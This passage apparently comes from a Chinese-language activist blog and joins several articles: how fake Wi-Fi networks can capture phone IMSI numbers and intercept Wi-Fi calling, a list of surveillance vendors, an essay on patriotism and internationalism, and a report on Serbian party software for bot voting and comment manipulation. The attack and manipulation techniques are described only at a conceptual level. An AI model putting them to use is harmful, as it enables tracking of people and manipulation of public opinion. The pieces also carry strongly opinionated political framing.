Wi-Fi 网络可以捕获附近智能手机的 IMSI 号码，无线跟踪并监控用户的根源在于智能手机（包括 Android 和 iOS 设备）连接 Wi-Fi 网络的方式。

在大多数现代移动操作系统中有两种广泛实现的协议：可扩展认证协议（EAP）和认证和密钥协商（AKA）协议。这些协议允许智能手机通过自身设备的 IMSI 号码切换登录到已知的 Wi-Fi 网络，实现 WiFi 网络自动连接而无需所有者交互。攻击者可利用 WiFi 认证协议的这种机制伪装成 WiFi 网络，诱骗智能手机连接、捕获 IMSI 号码，从而实现对用户的跟踪监视。

此外攻击者还可利用捕获的 IMSI 号码实现移动运营商提供的 WiFi 呼叫功能。智能手机 WiFi 呼叫功能允许用户通过使用加密的 IPSec 协

议连接运营商的边缘分组数据网关（EPDG）。在这个过程中用于验证 WiFi 呼叫的互联网密钥交换（IKEv2）协议也是基于 IMSI 号码，这可导致发生中间人（**MITM**）攻击，允许攻击者拦截通信流量。

众所周知，在美国，所谓的“手机信号塔转储”被执法部门使用（Verizon 在 2017 年上半年收到了近 9000 个法院命令），但这种权力此前并未在英国被公开宣布，而且关于如何使用的信息很少。Create Intelligence 是一家英国公司，生产用于数据分析的软件，据称其技术“部署在英国一些最大的执法机构中”。

英国公司史密斯迈尔斯推出了“Airborne-NESIE”，能够对无人机或飞机上的移动设备进行地理定位和识别；总部位于瑞士的 NeoSoft 公司试图向孟加拉出售 IMSI 捕手后，在国际隐私组织、WOZ 和瑞士的干预下被叫停；总部位于加拿大的 Exfo 展示了他们的 IMSI 捕获器能够拦截消息，呼叫和解密；英国公司 DNA-Tracker，GOS Systems，Seven Technologies Group（前身为 Datong）Cellxion 和 Gamma International 都是如此。

中国没有公开声称使用这种技术，然而它是如此的简单和具有普遍性，你能想象中国不会用吗？

延伸阅读："//重要场合尽可能不要携带任何电子设备//"，如必需携带，请使用一次性预付费手机

「图」

「图」

在 Exfo 销售宣传册中的 IMSI 捕手图像

大规模监控

大规模、无目标的监视使情报机构能够使用互联网或电话监视任何人，利用这些数据进行详细的观察和推论，不仅可以调查，还可以预测人们的行为。

而且不限于监视国内公民的数据，还能通过光缆以及国际服务器监视外国人的流量。在美国发生了什么现在所有人都知道了，同时，英国和爱尔兰当局也都参与了这种大规模监视。

英国公司 GOS Systems 提供“大规模拦截”监控产品，英国最大的军火公司 BAE Systems 也是如此，据报道，该公司去年曾向众多阿拉伯国

家出口大规模互联网监控系统，这些国家的情报机构普遍存在侵犯人权的行为。

延伸阅读："//最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？//"

英国公司 Gamma International 还为光纤网络中的国际网关部署了跨境的大规模互联网监控功能，“可以专注于特定国家或所有邻国”；总部位于荷兰的 2000 集团在警务部门推出了一种新的大规模互联网监控产品 LIMA IP Mass Metadata Monitor，“旨在分析超大传输带宽的 IP 流量”并进行模式识别。

美国公司 JSI 推出了一款“IP 记录器”，它使用深度包检测来收集互联网流量，并可以同时拦截“数千个 IP 目标”以提取元数据和内容。

JSI 还推出了一种用于电话监控的“大规模情报分析”系统，允许“全国范围的数据收集”，旨在收集“每天数以亿计的移动和固定电话记录”，并保留它们进行深入分析：“这些大规模收集、并且长期被保留的数据，允许监控者对趋势做可视化分析，以预测人群在未来最可能出现的行为“。没错，就是《少数派报告》的现实版。

我们不知道中国有没有铺设这样的技术，但俄罗斯已经被揭露了存在这种大规模监视系统。这是纯粹的间谍行为，对全体公民甚至邻国和外国人实施的间谍行为。如果您了解中国的相关信息，欢迎通过安全渠道与独立媒体联系。

「图」

「图」

来自 Gamma International 宣传册中的图片

原文

爱国者悖论 - iyouport

社会反抗和思考长读

在新的全球时代寻求新的国家故事。我们可以从哪里开始？

> *The love of one's country is a splendid thing. But why should love stop at the border? - Pablo Casals*

可能很少有人记得，在一代人之前，学者、银行家们组成了一个响亮的大合唱，宣称国家已经过时。资本、思想和货物的流动迎来了一个具有新的隐喻和关于全球化、运动和流通的新叙事的全球时代。

而现在，“全球” 的承诺和情节线看起来已经过时了。国家又回来了。

乏味的、以种族为中心的民族主义品种并不是唯一的复兴；在自由派和进步人士中，作为最需要治愈的社区，“祖国” 的概念也在崛起，以便从本土主义者手中 “夺回” 它。

在经历了几十年的全球主义忽视和最近的本土主义滥用之后，有一个新的合唱团给它提供了叙事上的提升，而这正是国家需要的。国家需要一个想象中的过去，将他们的公民与共同的经历联系起来；国家建设者创造了这一叙事的基础，在此基础上建立了墙壁和屋顶。为了愈合 —— 有人会说，为了掩盖 —— 裂痕，新一代编年史家们争先恐后地重建这些基础。

进步人士可能认为，这种开垦是对本土主义的英雄式反击。而事实上，这是对失败的承认。不是一次，而是两次失败。首先，随着冷战的结束，许多自由主义者投身于市场统一世界的承诺，甩掉了社会福利和社会民主的 “包袱”。然后，随着全球化在2008年后开始动摇，本土主义的反击者夺取了反对 “全球主义” 精英和 “威胁性” 移民的旗帜。现在，进步人士正跳入国家故事情节的坑中。

在每一步，进步人士都采取了防御措施；在每一步，他们都放弃了一些东西。到现在，已经所剩无几了。1989年后，他们把社会主义遗产

的剩余部分兑现了。自2008年以来，许多人正在放弃他们的国际主义遗产。随着气候危机的袭来，全球移民危机加剧，核军备竞赛升温，那些试图赎回国家的编年史家们正在我们需要的时候退出对全球视角和叙事的探索。

两个世纪以来，国家一直是所谓主权概念的组织原则，并且从一开始就被捆绑在一个更广泛的秩序上。在18世纪，杰里米·边沁创造了“国际”一词，以设想民族国家的纠缠来取代掠夺性帝国的无序。国家独立宣言是相互依存的宣告，是希望得到其他国家的承认和欢迎 —— 从而确保自己的自由—— 并保证自己愿意受到约束以维护更广泛的秩序。它是国际法的基础，以至于被认为是理所当然的，除非是那些根据定义被排除在承认和自由之外的殖民社会。当它们发挥作用时，国际法和规范确保了国家不会成为掠夺者。当它们失效的时候，“国家第一”的狂热就占据了上风，原本应该相互依存的关系被武器化，国家的需要被授权进行征服和灭绝。这就是1930年代发生的事。

民族主义和国际主义的命运是一起前进的。技术变革和冷战的结束标志着一个根本性的突破，我们仍在努力理解。它们带来了最后一轮的非殖民化，在拆除资本和商品流动的障碍的同时，将地球上的国家覆盖起来，在加深国家间相互依存的同时，扩大了国家。一波自由贸易协定和移动支付带来了新的仪式 —— 世界经济论坛、和机构—— 世界贸易组织（WTO）—— 来庆祝连接性、流动性和超资本主义的共享时间感。不受地点的限制，新的大亨们寻求“为我们所有客户的需求提供跨地域的服务”—— 用美林证券1994年的一份招聘手册的话来说。

经过两个世纪的英雄主义和恐怖，国家被淘汰。全球化的时代已经到来。爱国主义被置于世界杯和法老式奥运村的安全阀中。历史学家们也加入了这一行动，扩大规模，做大做强，走向全球，把国家的故事换成网络，把公民换成连接。

> 在一个温度升高且现在瘟疫肆虐的世界中，公民只能在国家的怀抱中寻找庇护所。

当地平说的使徒们幸灾乐祸的时候，民族国家的语言变成了抵抗的修辞，尤其是在全球化没有覆盖到的南方。在阿根廷，人们抨击紧缩政策对公民和债权人的粉碎性影响。台湾企业进入种族隔离后的南非，雇用被剥夺权利的工人进入他们的价值链，使工会和社区领导人与急于获得投资的新兴非洲人国民大会（ANC）政府对立。1997年中期，一名抗议者对陷入困境的非洲人国民大会理事会喊道：“我们已经让你们上台了，现在你必须兑现”。然后，在很大程度上被保留在全球

边缘地区的不满情绪回到了其核心地区。2008年的经济危机使无国界世界的想法失去了光环。自2009年以来，国旗一直是世界范围内抵制世界性精英和难以捉摸的世贸组织贸易争端机制及其技术官僚的标志。

爱国抵抗运动的复兴之所以如此强大，是因为它同时发挥了两种功能。它是一个反对“全球主义”和“达沃斯人”的信息；它还宣称谁属于这个国家，以应对被煽动起来的对移民和少数民族的恐惧。当Nigel Farage 等英国脱欧派政客嘲笑布鲁塞尔的监管机构时，这是为真正的演出所做的热身表演：大谈移民的威胁，他们沿着巴尔干半岛前进，入侵拿破仑和希特勒之前失败的地方，因为欧洲已经放弃了国家的概念和站在它旁边的大多数民族。为了将英国民族从“种族灭绝”中拯救出来，它必须从欧洲分离出去。

歇斯底里并不限于“西方”。在印度，纳伦德拉·莫迪（Narendra Modi）也在追寻同样的弧线。自从2002年古吉拉特邦发生血腥骚乱，造成约2000人死亡，其中大部分是穆斯林，莫迪就受到了欧洲使节的非正式抵制。随着他在印度的崛起，而马琳·勒庞和马泰奥·萨尔维尼在欧洲的地位上升，回避莫迪和他的印度教民族主义变得更加困难。2013年1月，扭扭捏捏的欧洲外交官们欢迎莫迪参加在德国大使馆举行的秘密午餐。6个月后，莫迪推倒了他们的疑虑：“我是民族主义者。我是爱国的。没什么错”，他在赢得印度人民党的领导权和国家总理职位的过程中感叹道。

在一个竞争激烈、温度升高和现在瘟疫肆虐的世界中，公民们只能在国家的怀抱中寻找庇护 —— 并被召唤去保卫国家。大学和学校已经成为国家叙事的战场。在去年夏天的BLM示威活动之后，当时的总统唐纳德·特朗普成立了一个1776委员会，以庆祝“爱国主义教育”。在阿肯色州和其他地方，拟议的立法将惩罚那些将白人至上的历史作为美国历史的一条主线来教授的学校。土耳其政府已下令开除了近6000名“不忠”的学者。在香港，约3000名学生被捕后，北京的警长林郑月娥谴责该市的校园如何未能教授正确的国家价值观。“香港的教育出了什么问题？”，她哀叹道。与此同时，共产党重申了其爱国主义的说法。香港教育部长禁止学生唱《光荣属于香港》，取消了名为“通识教育”的公民教育必修课，并规定必须教授中国历史。同时，图书馆正在清理任何所谓的“危及国家安全”的东西。历史教科书必须培养“对国家的归属感，对中国人民的感情，对国家的认同感，以及对维护国家安全的责任感的认识”。

1940年夏末，乔治·奥威尔进入了他最黯淡的时刻之一。这位曾在巴塞罗那与无政府主义者并肩作战的作家和国际主义者，一旦斯大林与

希特勒结盟瓜分欧洲大陆，就不得不考虑自己信念的局限性。法国沦陷后，奥威尔在《我的祖国是左还是右》（1940年）一文中宣布了他的转变，他愿意穿上文学制服来保卫国家。对他来说，敦刻尔克的灾难更证明了英国统治阶级的缺点。在后来的一篇文章中，奥威尔把英国比作“一个由错误成员控制的家庭”。不过，他还是团结在国旗下了，因为只有国家才能唤起对抗法西斯主义所需的情感。这篇文章谴责不流血的“开明”左翼知识分子阶级没有理解这一点；他们是“看到国旗时心从未跳动的人”，而“当时机到来时，他们会对革命退缩”。对奥威尔来说，重要的是国家在各地捍卫民主的情感力量。

奥威尔意识到了当前许多爱国主义复兴者所忘记的风险。爱国主义的呼吁就像知识分子生活中的鱼饵一样有效。鲨鱼会出来。我们这个时代的右翼想要拯救国家，愿意以国家的名义牺牲民主。凡是本土主义右翼崛起的地方，都有一批知识分子蜂拥而至，为国家出谋划策。印度的斯瓦潘·达斯古普塔、美国的乔纳·戈德堡和法国的埃里克·泽穆尔等人将金融家、人道主义者和校园“活动家”混为一谈，成为绝望的代言人，宣称要在即将到来的灭亡或国家复兴之间做出“明确的选择”。他们冒充国家遗产的捍卫者。

曾经是左翼人士的法国哲学家阿兰·芬基尔克罗 (Alain Finkielkraut) 声称已经看到了曙光。他的反叛使他成为一个曾经崇尚西蒙娜·德·波伏瓦、阿尔伯特·加缪、和让·保罗·萨特的国家的媒体偶像。他的畅销书《不快乐的身份》（L’identité malheureuse）（2013年）警告说，由于穆斯林移民和布鲁塞尔灰色办公大楼里的欧洲官僚，法国正在衰落。芬基尔克罗关注的不仅仅是外来者；还有来自内部的褪色的爱国精神。像他在其他地方的同伴一样，他提出了可怕的预言，即 在未被同化的外国人和迷失方向的多元文化的本地人手中，法国将自取灭亡。

保守的民族主义也将其他人拉入了爱国主义复兴的事业中。在右翼民粹主义和全球精英的免税福利之间，进步人士也加入了这场争辩，并削弱了对国际主义的吸引力；全球化已成为一种耻辱的品牌。

> 吹嘘民族主义的美德，让全球理想主义者看到一个新的国家在追逐自己的事业。

巴拉克·奥巴马是美国世界性自我形象的代表，他体现了在从世界中撤退的同时振兴国家的困境。他的政治回忆录《应许之地》（A Promised Land，2020年）的圣经标题强调了一个主题，即 领导一个失去了领导意志的国家时的磨难。当奥巴马在2008年胜选时，他反思了杜波依斯（W E B DuBois）和美国黑人永远被谴责为双重身份：既

是美国人又是黑人的概念。奥巴马向杜波依斯的才华鞠躬，“但我从未质疑过—— 或让别人质疑—— 我的基本 ‘美国性’”，他说。他的“美国性” 的标志是对国家的特殊性的信仰，是自由和欢迎其他国家的模式。无论好坏，与之相联系的都是一个全球领导的传统，以反映其爱国主义的荣耀。

关于这本书，如果您错过了《应许之地的虚假承诺》

然而，奥巴马自己的外交政策是努力降低对美国在国外能做什么的期望，同时在国内鼓吹高大上。他写道，他对伊拉克战争的反对和对获得诺贝尔和平奖的疑虑，都是基于 “对美国特殊性的信念，以及对我们按照自己的形象重塑世界的能力的谦逊”。这就是为什么他的现实主义是如此令人困惑和值得嘲笑。奥巴马声称要回归罗纳德·里根的遗产，但却没有定义它的勇气。特朗普信条中的道德荒原掩盖了奥巴马对中东独裁者的虐待行为、大规模驱逐出境、以及在叙利亚公开划清界限—— 然后又走开的沉默。

如果您错过了《两个时代，同一种政治毒品》

这种在国内崇高的理想主义和在国外缩小的现实主义的混合体，由于需要激发公民的爱国热情、同时需要为他人打消爱国热情，在最近一个关于民族主义解决全球气候危机的力量的 “案例” 中显示出来。

Anatol Lieven 是一名在华盛顿特区工作的英国记者，他的报道范围从巴基斯坦到波罗的海共和国，并跨越了智囊团、博客圈和学术界的维稳工业综合体。他认为，现在是让气候活动家抛弃他们的乌托邦式的团结的时候了，从特朗普和巴西的博索纳罗、从莫迪到俄罗斯的普京等 “真诚的” 民族主义者手中夺取国家，并看到牺牲只有在对国家的呼吁下才能发挥作用。

这不是奥威尔那种为了更广泛的事业而集结在旗帜下；正如 **Lieven** 在《气候变化与民族国家》（**2020**）中所说的，“在愚蠢的、短视的民族主义版本和聪明的、远视的民族主义之间”。国际主义在这里无影无踪。Lieven 考虑引用一个更温和的爱国主义呼吁，“一个不太有争议的术语”。但为什么要大惊小怪呢？吹嘘肌肉发达的民族主义的优点，让全球理想主义者看着一个追逐自己事业的新国家的尾光。

理想主义者也夺回了 “国家”。吉尔·莱波尔可能是美国最有名的历史学家，作为一个熟练的作家和学者，她用古怪的故事揭示了更广泛的真相，并以无以伦比的成功架起了常春藤联盟和精英自由派媒体之间的桥梁。莱波尔还加入了国家建设俱乐部。她想从民族中心主义者和

世界主义者的忽视中夺回国家，特别是在教授中，他们让国家的概念发霉，因为他们把注意力转向更小和更大的事；她在《The Case for the Nation》（2019年）中写道，在走向全球的过程中，他们“放弃了国家历史”。这使得国家被‘不那么严谨的人’抢走了。在莱波尔看来，进步人士抛弃了国家；而坏人夺取了它。现在是时候把它找回来了。

在《外交事务》和《纽约客》等杂志的版面上，以及在《这个美国》中，莱波尔希望让这个国家对自由主义者和进步人士来说再次变得很酷。她所说的国家是开放的、好客的、多元的、公民的。它把不同的人结合在一起，给他们以庇护，而不管他们的分歧。莱波尔将奴隶制和种族排斥的错误纳入主叙事；它们为未完成的、追求自由的情节线提供了紧张和戏剧性。

对莱波尔来说，重振爱国主义叙事意味着擦亮例外主义的主张，即 美国之所以与众不同，是因为它与其他国家不同，是天生的自由主义者。从建国的那一刻起，莱波尔就把这个国家从咆哮的本土主义者手中 拯救出来，因为正是这个国家的自由派叙事让它变得与众不同。如果没有自由主义这个关键的形容词，美国看起来就和其他国家没什么区别了。让美国“再次伟大”的骚乱者可能会独自声称爱这个国家，但“他们将是错误的”，她在《这个美国》的结尾感叹道。为什么？因为他们唾弃了那些使美国与众不同的东西；他们的民族主义将吞噬自由主义和使国家伟大的美德。成为一个真正的爱国者的方式是成为一个自由主义者，分享莱波尔的建国叙事。

> 在国家的组成中，是通过排除一些其他人来创建共融的。

莱波尔没有说的是，她的自由主义只有在国家的保障下才能生存；这就是她希望国家的概念回归的原因。她希望她的读者和她的学生们能像特朗普的军团一样，对挥舞美国国旗感到自豪。挑战是回到国家的浪漫，恢复对内部人的自由的集体记忆，即使外部人从视野中退去。

或者，从叙事中被粉饰掉。

莱波尔看不到的是她的自由主义民族主义想象力的排他性特征。她承认，美国的民族主义过去和现在都很“复杂”。她所称的复杂性始于十三殖民地，除了一些有远见的宪章，如《联邦条例》，几乎没有什么共同点。但是，国家的构成就是通过包括一些人而排斥另一些人来建立共同体的。殖民地，首先，意味着征服和殖民化。但在莱波尔的叙述中，原住民、墨西哥人、夏威夷人和波多黎各人都是影子。为了恢

复“生而自由”的国家神话，将其从种族灭绝的本土主义者手中“拯救”出来，意味着将其他人排除在故事之外，直到他们成为“移民”，在其他地方寻求非自由主义的庇护。

【注：十三殖民地是指大英帝国于1607年至1733年在北美洲大西洋沿岸建立的一系列殖民地。这些殖民地最终成为了美国独立时的组成部分，即后来的美利坚合众国。 法兰西斯·德瑞克爵士率领的英国探险船队又再次为英国宣称占领包括华盛顿州的太平洋西北地区。】

如果您错过了《从暴民政治到取消文化》

莱波尔会同意奥威尔的观点。正如她所说，打败非自由主义的唯一方法是“呼吁国家目标和目的”。但是，奥威尔会同意莱波尔的观点吗？我不这么认为。奥威尔从来没有把捍卫体面和权利看作是停止于祖国边界的事。更重要的是，是什么阻止了国家的排他性和灭绝性的权力肆意妄为？是全球团结和竞争的流动组合，使民族国家受到牵制，被边沁的“国际”所支撑，国家是其中的一部分，而不是分离出去。

那些主张恢复爱国主义叙事的人，不仅仅是在从逮捕学生、肢解记者、和流放知识分子的恶棍手中夺回国家。他们也在承认失败。他们实际上是在宣布结束寻找将国家成员身份与更广泛秩序的归属问题相协调的叙事。

1951年，汉娜·阿伦特对新的叙述发出了呼吁。她在《极权主义的起源》中告诉读者，“只有在新的政治原则中，在地球上的新法律中，其有效性这次必须涵盖整个人类”，才能约束国家最糟糕的习惯。

是的，这必须考虑到领土民族国家的现实情况。但这个新的原则不应该允许我们把“过去好的东西，简单地称之为我们的遗产”。她那个时代的恐怖—— 以及溺水的难民的景象或孤儿的声音—— 也同样真实。她在序言中写道：“这就是为什么所有想从现在的严酷中逃脱出来、去怀念仍然完好无损的过去，或者去期待一个更好未来的遗忘的努力，都是徒劳的”。为了人类的利益，阿伦特敦促读者把国家看成是一种必需品，它能够做出如此残酷的事，永远不可能被委托去做善事。在大屠杀和一个世纪的帝国暴力之后，退回到怀旧的舒适中的诱惑—— 通过回归其遗产使任何国家“再次伟大”—— 都回避了创造叙事的挑战，超越了属于一个国家或一个使国家成为可能的世界的错误选择。

爱国主义复兴者—— 如果他们想改善他们的“案例”—— 需要正视一个悖论，而且要更加复杂。世界需要国家做善事，比如减少碳排放，

停止将无国籍的人视为非人。

为了做善事，国家必须是善的。但好国家存在的条件是其他好国家为彼此做善事 —— 以及为那些因为他们的国家很糟糕而失去家园的人做善事。在为新的全球时代寻求新的国家故事时，为什么不从这里开始呢？〇

The patriot paradox

原文

第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iYouPort

你的反乌托邦在线生活阴云密布开源情报-每个人都可用的武器长读

⚠ 至少 3 个已知的工具，用于虚假评论和对大众的操纵在全球政府争先恐后地对人民的大脑实施认知营销战略时，分析它们的模式，你能清楚的看到，不同国家的数字巨魔正在互相借鉴，其中两大模式是被借鉴最多的，即 俄罗斯和中国。🌤本报告尝试以可视化形式呈现 在线信息争夺战的三个领域（内容、评论和投票）以及可被描述为反向审查的方法

「图」

「图」

纵观历史，传播和信息一直是权力和反权力、统治和社会变革的根本源泉。这是因为在社会中进行的根本性战斗是对人心的斗争。人们思考的方式决定了社会建构的规范和价值观的命运—— *Communication, Power and Counter-power in the Network Society, Manuel Castells*

我们的故事是从一场暴风雪开始的。一长串汽车在路上被封堵了数小时。天气很冷，汽车里的人开始恐慌。响应团队还在拼命的忙，但车子仍然没有动起来，难以清除积雪路障。就在那一刻，一架军用直升机抵达了。一个连帽子都没戴、只穿着单薄牛仔裤的男子跳到暴风雪的中心，带上一个孩子，努力让他穿过深雪和强风，把他带到直升机上。这名男子即将成为塞尔维亚总理，这将是他为竞选这一席位所做出的最令人难忘的英雄行为之一。

如果不是公共广播公司（RTS）的工作人员早已架着摄像机等在那里才发生的这一“英雄行为”，那么一切都会很棒。简单说，如果这个英雄行为更像是一个真实的生活状态而不是电视节目，一个持续的、永无止境的景观、一个由图像介导的人与人之间的社会关系，一切都会很棒。这将持续多年。

想想中国的画面？走进民宅，掀起锅盖……

「图」

「图」

该视频被广播为国家电视台的头条新闻，并在其官方 YouTube 频道上传。这基本上就是我们的故事真正开始的地方。上传的视频成为了众多转载的材料，主要是将 PM 作为一个“值得大众崇拜的超人”。

但在某一刻，所有这些视频开始从 YouTube 上消失了。2014 年2月举行的这次活动是新成立的 SHARE 小组防御人员的第一个案例，这是由一群律师、网络取证和政策专家组成的队伍，负责监督、协助和研究在线领域侵犯我们权利和自由的案件。

隐性网络干预主义的政治

正如媒体理论家 Manuel Castells 所描述的那样，我们不应忽视最古老、最直接的媒体政治形式：宣传和控制。这是：

- 捏造事实并诱导错误信息，以促进政府利益的信息的制作和传播;
- 对任何被视为破坏当权者利益的信息进行审查，必要时将不受阻碍的通信定为犯罪，并起诉传播者。

并且，如今，政府正在尝试更复杂的方式来进行更难以被发现和记录的[互联网]审查、宣传和大众控制。本文的目的是根据我们的经验检查其中的一些操纵方式，我们相信，它们一直在全球范围内被以类似的形式使用或可以使用。

从三年前的“超人案”到现在，我们已经目睹了塞尔维亚在线环境中的各种违规行为。SHARE 防御团队一直在监控的违反在线权利和自由的具体案例基本都是对内容的任意阻止或过滤、对在线公民媒体的网络攻击、针对社交媒体用户和博主的逮捕和司法诉讼、通过使用不同的技术工具操纵公众舆论、拦截和监视电子通信，侵犯隐私权和滥用个人隐私数据; 压力、威胁和降低在线公民记者和个人的安全。团队在近三年内提交了 300 多个不同的案例，并创建了一个监控数据库，作为此分析的基础。

「图」

「图」

我们对此分析的主要兴趣是尝试探索不同政治行为者或权力结构可用于控制和征服在线领域的干预形式和方法。在这里，我们将主要谈论隐蔽的、间接的行动，来自未知行为者的干预，具有隐藏或伪造身份的个人，与政府官员没有明显联系的公司，政治巨魔军队和巨魔领主，甚至是“人造”实体。

本文将尝试量化和可视化其中的一些形式，并尝试检测和理解某些模式。

– I—无休止的在线媒体真人秀节目

根据媒体理论家 Douglas Rushkoff 的说法，我们生活在令人震惊的时代。我们以闪电般的速度同时从多个来源获得的大部分信息是如此的短暂，在它到达我们意识时已经变得陈旧。一切都是现场、实时和永远在线。这就是叙事结构陷入永无止境的真人秀的原因。

在这个闪烁的真人秀节目中，单条信息的生命周期都非常短。以塞尔维亚为例，在线媒体的新闻平均寿命在一到两个小时之间。在前两个小时，新闻被评论和分享，然后它就会在大量内容中消失，被另一个短暂的新闻所取代，可能永远不会被再次看到。互联网无国界，事实上全球都是如此。

「图」

「图」

Source: Share Foundation—Monitoring of online and social media during elections（in Serbian）

在这个持续的开放式真人秀节目的，成千上万的短暂新闻，有自己的演员和主要地点。在我们的案例中，我们所拥有的是对一个主要演员，一个政治人物（Aleksandar Vučić，塞尔维亚总理，也就是我们故事开头的“英雄”）一个城市的统治，这个真人秀节目的位置是贝尔格莱德。

「图」

「图」

在选举期间监控在线内容和社交媒体（塞尔维亚语）

根据我们的研究，这位至高无上的领导者到目前为止一直扮演着主导

角色，在一天内 10 个被检查的在线媒体上他出现于 40 多个新闻标题中。无数的媒体声明和会议、采访和现场表演，正在加速他在我们的信息流中不断存在的节奏。

这种快速的信息生产节奏（正如我们在新闻来源的横向条形图中看到的那样）由塞尔维亚三家最大的新闻机构（Tanjug，Beta，FoNet）推动——（您可以理解为中国的头条新闻、人民日报和新浪网），共同产生了超过 60%（黑色）的新闻只是被在线媒体传播；媒体出版社自己制作的原创内容只占全部所分析新闻的四分之一（灰色）。

政治是媒体的政治，每天影响新闻内容是政治战略家最重要的努力之一。但是，正如我们将在接下来的章节中看到的那样，征服新闻内容领域只是第一层，是关于网络社会中人们思想和关注的第一个战场。

– II—征服公众讨论的空间

“在’正常的战争’中，胜利就是是或否的问题; 而在信息战中，它可能是局部的。几个竞争对手可以在一个人的意识中争夺某些部分。“——《心理战》

在不久的将来，对主要新闻门户网站的评论仍然是一个对塞尔维亚公众来说重要的公众讨论场所。但近年来，这些地方正在被精心策划的入门级政治活动家的网络军队所占领，他们拥有允许使用多种身份的权利，拥有滥用投票机制、分散公众讨论、并在网上创建虚假的公众舆论图的工具。

这种信息战学说被称为 “astroturfing”，或者一些作者将其命名为“反向审查”。就是中国的“五毛”水军使用的方法。

中国人一定很熟悉这种做法，中国当局一直在使用这种基于“分心”的战术，对公众舆论进行操纵，他们伪装成普通人的声音，并在 BAT 集中化不透明算法的推动下，淹没真正的人民的声音。

「图」

「图」

查理卓别林电影“马戏团”中的镜子迷宫场景（1928年）

通过在公共讨论中插入多个虚假玩家，他们创造了充满噪音的语话环境，真实的公众舆论被淹没，就像卓别林大师演示的那样，公民在当权者人工创造和精心策划的政治声明的镜像迷宫中迷失。这样一来，

以前用于公众讨论的那些地方正在失去其主要作用，成为配备各种武器的政治士兵的战场。

随着越来越多的公开讨论场所被征服，你的个人声音正难以立足。

另一方面，我们可以相信这种做法是阻止个人表达他们的反对意见、并迫使他们参与将被许多人自动攻击的讨论。正如 Nietzsche 所描述的那样，“个人总是不得不努力避免被部落所淹没”。在我们的例子中，部落甚至使用类固醇，他们的表现通过不同的技术工具（多重性和隐形的神奇药剂）增强，不仅仅是伪造舆论，而是作为信息战的有针对性的武器。但是，正如哲学家所说的那样，“如果你尝试挑战它，你只会感到孤立无助，有时会受到惊吓。但是，没有任何代价值得你放弃拥有自我的权利“。

武器库

当美国媒体揭露美国情报部门如何外包间谍活动，利用社交媒体制造虚假舆论抹黑异议人士的时候，几乎所有人都感觉很惊讶，事实上这种操纵方法从社交媒体诞生之初就开始酝酿了。

根据一系列在2014年和2015年由门户网站 Teleprompter.rs 发布的泄漏文件所显示的，执政党 SNS 一直在使用不同类型的软件，这些软件可用于草根营销和其他舆论操纵手段。党内有一个特殊的“互联网团队”，由具有公关、媒体、互联网和社交网络工作知识的人组成。其中一些人还担任公职，如贝尔格莱德市的议员，或共和国总统媒体办公室的职位。重要的是，要注意到，这些软件已经发展成为一种更为复杂的工具，并且自从最后一次泄漏文件被发布以来，我们完全可以假设，目前任何此类的软件都应该更加复杂和高效了。

以下是3个已知的工具，用于虚假评论和投票操纵：

- Valter：每个 SNS 的活动家都不得不在他们的设备（计算机和/或智能手机）上安装这个软件，这个软件实际上是一个由外部服务器控制的机器人。该软件用于对 Blic，B92，Kurir 和 Novosti 等主要媒体机构的评论给予正面或负面的评价。

政府的互联网团队已经建立了一个服务器，该服务器将发送评论 ID 号以及指向评论和其他形式的反馈应该是“正面”还是“负面”的属性;然后，软件在本地解析命令并上线以特定方式发布反馈。所有这些都是在没有用户知晓的情况下完成的。由于该软件能够执行诸如在线访问资源（网站）之类的命令，因此它可以很容易地用于执行 DDoS 或

其他类型泛洪攻击，

- SkyNet：该程序更像是活动家和聚会的管理平台，但也与外部服务器通信，因此它也可以用于其他目的。该程序可以执行两个主要功能。

首先，它用于跟踪 SNS 活动家在媒体网站上发表的评论。该程序在本地安装，并具有一个用户界面，其中有要评论文章的类别（程序从远程服务器获取这些文章的列表）; 然后，活动家应该被转到精确的文章下，留下评论，并将评论复制粘贴到程序的用户界面中。

之后，程序会跟踪评论是否已发布，一旦发布，它就会通知用户。通过这种方式，当局的互联网团队可以清楚地了解每位活动家（五毛）所做的工作量。

然后，软件使用几个不同的标准对每个评论进行评级; 例如，某些网站上的评论比其他网站更有价值; 如果评论中存在语法错误，则得分较低; 评论越长，得分越高等。该程序包含 Valter 的功能，也可以反馈给已经自动发布过的评论：它使用代理服务器来隐藏用于投票或发布的设备的真实身份。

- Fortress：Fortress 是第三个被当局的互联网团队使用并被揭露的应用程序。与其前两个版本相反，这是一个 Web 应用程序，不需要任何下载安装。该应用程序包含与上述那个 SkyNet 几乎相同的功能，除了使用机器人进行 DDoS 攻击之外（因为它没有在本地安装）。要使用此程序，活动家需要联系 Facebook 上的特定个人并请求访问; 一旦他们被分配了登录凭据，就可用于登录 www.fortress.rs。界面类似于 SkyNet，功能几乎完全相同。

「图」

「图」

信息战的游戏化

一个有趣的方面是，在信息战和公共操纵的这一部分中，存在一种游戏化系统嵌入过程中。在这种情况下，对公众舆论的操纵被转换成了游戏，其中每个用户的每个评论都被新闻门户授予积分。

巨魔生产力的量化是这种游戏化模型的根源。通过量化他们的活动，信息战中的将军能够更有效地控制和命令，并且通过游戏化，他/她

能够在玩家之间获得竞争氛围，彼此之间竞争或者与他们自己的先前结果竞争。

对游戏玩家的奖励超出了纯粹的心理满足感，允许他们爬上排行榜，在政党内获得更好的地位，如果他们幸运的话，他们最终会在任何受体制控制的公司找到工作，那些公司的领导人都由执政党的成员组成——这就是为什么 IYP 一直指出，对中国政府水军的调查不能停留在表面，诸如对资金流的调查，因为这其中有很多被暗示的潜在利益，如上述。于是最好的方法还是 OSINT，即 通过水军的具体行为反向搜索它们的源头。就如我们曾经演示过的一个小案例那样，详见：《网络水军如何试图影响选举？》

游戏的风格

近年来塞尔维亚在线领域开发了两种不同并相结合的认知营销策略，从基于其起源和地理流行程度的方法演变而来，可以称为俄罗斯式的和中国式的。虽然中国的做法标志着纯粹的数字力量（只因为人多），而且大多数只是啦啦队，但俄罗斯人则会更多地处理个性化内容，积极的政治讨论和对“内部敌人”的攻击。我们分头看看这两种模式。

「图」

「图」

